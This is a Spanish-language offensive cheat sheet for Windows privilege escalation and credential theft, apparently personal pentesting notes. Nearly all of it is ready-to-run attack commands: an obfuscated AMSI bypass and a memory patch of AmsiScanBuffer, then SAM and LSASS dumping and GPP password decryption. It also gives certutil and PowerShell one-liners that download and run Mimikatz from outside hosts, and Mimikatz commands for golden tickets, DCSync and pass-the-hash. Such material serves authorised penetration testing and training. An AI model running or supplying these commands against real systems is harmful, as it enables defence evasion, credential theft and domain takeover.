Evasión de restricciones
Habilitar ejecución de scripts
El siguiente comando permite modificar la política de PowerShell de forma que se permita la ejecución de todos los scripts sin firmar y sin aplicar restricciones ni advertencias (-exec bypass). Además, no se carga el perfil del usuario, lo que permite evadir posibles restricciones (-nop).
Copiar powershell -nop -exec bypass
Invisi-Shell
Copiar git clone https://github.com/OmerYa/Invisi-Shell.git
Copiar C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
C:\AD\Tools\InviShell\RunWithPathAsAdmin.bat
AMSI PowerShell Bypass
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
Copiar S`eT-It`em ( 'V'+'aR' + 'IA' + (("{1}{0}"-f'1','blE:')+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a')) ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
AMSI .NET Bypass
https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
En la siguiente tabla se enumeran algunos scripts que permiten la evasión. También se indica la última fecha en la que he podido ejecutar el script sin restricción:
Windows 10
Por ejemplo:
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse
Copiar $Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
Enumeración automatizada
WinPEAS
https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
Última versión y binarios: https://github.com/peass-ng/PEASS-ng/releases
Copiar iwr https://github.com/peass-ng/PEASS-ng/releases/download/20241007-05f777b2/winPEASx64.exe -outputfile winpeas64.exe
PowerUp
Copiar . C:\AD\Tools\PowerUp.ps1
Se enumeran las posibles vías de elevación de privilegios y se exporta la información a un fichero html:
Copiar Invoke-AllChecks -HTMLReport
Vulnerabilidades
Actualizaciones vía WSUS
WSUS (Windows Server Update Services) es un servicio que permite gestionar la distribución de actualizaciones en redes corporativas con sistemas Windows.
Es un servidor centralizado que descarga y distribuye parches de seguridad y actualizaciones en los clientes de la red local.
Para comprobar si el servidor WSUS es vulnerable a CVE-2020-1013 , se tienen que dar dos condiciones:
El servidor WSUS tiene que utilizar el protocolo HTTP en vez de HTTPS. Para comprobar cuál servidor WSUS se está utilizando:
Copiar reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Copiar HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xtormin.local:8530
Que el uso del servidor WSUS esté activado. Para ello, el resultado del siguiente registro debe ser igual a 0 :
Copiar reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
Writeup de la investigación y presentación en la BlackHat:
Otras referencias:
Escalada de privilegios
Equipo conectado con Azure
Copiar wget https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1
Copiar Azure-ADConnect -server 127.0.0.1 -db ADSync
Servicio modificable
Identificación
Ejemplo de explotación
Máquinas del dominio con acceso privilegiado
Buscar máquinas donde el usuario tiene permisos de administrador local:
Copiar . C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
Copiar winrs -r:<Nombre de la máquina> cmd
set username
set computername
Copiar Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local
$env:username
Obtención de SAM, SYSTEM, SECURITY
Copiar reg save HKLM\SAM C:\WINDOWS\Temp\sam.dmp
reg save HKLM\SYSTEM C:\WINDOWS\Temp\system.dmp
reg save HKLM\security C:\WINDOWS\Temp\security.dmp
Copiar samdump2 system sam
Copiar /home/kali/tools/impacket/examples/secretsdump.py -sam sam.dmp -system system.dmp -security security.dmp LOCAL
GPP - Group Password Policy
Copiar cd %windir%\system32\grouppolicy
Copiar <?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="jdBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
Copiar gpp-decrypt jdBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
Mimikatz
Copiar certutil -urlcache -split -f http://192.168.119.142/mimikatz.exe C:\Windows\Temp\mimikatz.exe && C:\Windows\Temp\mimikatz.exe
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds
Copiar privilege::debug
log
log customlogfilename.log
token::elevate
Dump LSASS
Copiar privilege::debug
token::elevate
sekurlsa::logonpasswords
Seckurlsa
Copiar sekurlsa::ekeys
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
sekurlsa::tickets
sekurlsa::tickets /export
sekurlsa::tspkg
sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:4c13687d23a3a88e57fc9ef8bb4cdf2f /run:cmd
sekurlsa::minidump c:\Windows\Temp\lsass.dmp
Kerberos
Copiar kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
DSync
Copiar lsadump::dcsync /user:domain\krbtgt /domain:xor.com
lsadump::dcsync /domain:xor.com /all /csv
lsadump::dcsync /domain:xor.com /user:administrator
lsadump::lsa /inject
Copiar token::elevate
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
Vault
Copiar vault::cred
vault::cred /patch
vault::list
Terminal Services
Copiar ts::multirdp
ts::logonpasswords
Pass-the-Hash
Copiar sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:cc36cf7a8514893efccd332446158b1a
sekurlsa::pth /user:Administrator /domain:xtormincorp.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:{NTLM_hash} /run:cmd.exe
Referencias